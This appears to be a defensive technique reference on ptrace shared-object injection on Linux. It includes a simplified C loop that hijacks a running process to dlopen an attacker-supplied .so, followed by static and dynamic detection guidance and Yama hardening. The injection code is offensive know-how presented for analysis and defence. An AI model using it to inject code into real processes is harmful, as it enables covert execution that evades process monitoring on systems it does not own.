ptrace Shared-Object Injection
Attaching to a running process with ptrace and hijacking its execution to call dlopen on an attacker-supplied .so — the Linux analogue of Windows CreateRemoteThread DLL injection.
ptrace is the Linux syscall debuggers use to attach to, inspect, and control
another process — the same primitive gdb builds on. An injector attaches to a
target with PTRACE_ATTACH, waits for it to stop, reads and rewrites its
register state and stack, then resumes it so its next instruction calls
__libc_dlopen_mode (libc's internal dlopen) with the path of an
attacker-supplied shared object as its argument. The target process loads and
runs the .so itself — there is no new process on disk, and no execve for a
process-monitoring tool to catch.
How it works
The injector's core loop, simplified:
long target_pid = /* victim PID */;
ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
waitpid(target_pid, NULL, 0);
struct user_regs_struct regs, saved_regs;
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
saved_regs = regs;
// Write the malicious .so path into the target's own stack
poke_string(target_pid, regs.rsp - 128, "/tmp/.hidden/evil.so");
// Redirect execution to __libc_dlopen_mode(path, RTLD_NOW)
regs.rip = dlopen_addr; // resolved from the target's own libc mapping
regs.rdi = regs.rsp - 128; // arg 1: path
regs.rsi = RTLD_NOW; // arg 2: flags
ptrace(PTRACE_SETREGS, target_pid, NULL, ®s);
ptrace(PTRACE_CONT, target_pid, NULL, NULL); // let dlopen() run
// ...wait for it to return, then restore saved_regs and detach
ptrace(PTRACE_SETREGS, target_pid, NULL, &saved_regs);
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);Because the call target (__libc_dlopen_mode) is resolved from the victim's
own already-loaded libc, the injector needs no code of its own to run inside
the target beyond the register redirection — libc's real loader does the
mapping and symbol resolution, exactly as it would for a legitimate dlopen
call.
Detection & analysis
Static analysis: An injector binary imports ptrace and either
process_vm_writev or writes through /proc/<pid>/mem, usually alongside
hard-coded offsets or symbol lookups for __libc_dlopen_mode. A dropped .so
with no normal entry-point convention beyond a __attribute__((constructor))
function is a strong companion tell — its only job is to run once at load
time.
Dynamic analysis: Auditd or eBPF-based monitoring that logs ptrace
syscalls with the PTRACE_ATTACH/PTRACE_POKETEXT/PTRACE_SETREGS requests
against a target PID that is not the tracer's own child is the direct
behavioural signal — legitimate use (debuggers, strace) typically attaches to
processes it spawned itself. After injection, /proc/<pid>/maps shows a new
.so mapped from an unusual path (/tmp, /dev/shm) with no corresponding
entry in the process's original command line or ld.so cache.
Detection rule hint: Enable the kernel's Yama ptrace_scope restriction
(kernel.yama.ptrace_scope = 1 or higher), which by default blocks a process
from ptrace-attaching to anything except its own descendants and breaks this
technique outright. Alert on ptrace(PTRACE_ATTACH, ...) calls where
tracer and parent-of-tracee differ, and diff /proc/<pid>/maps snapshots over
time for unexplained new library mappings in a long-running process.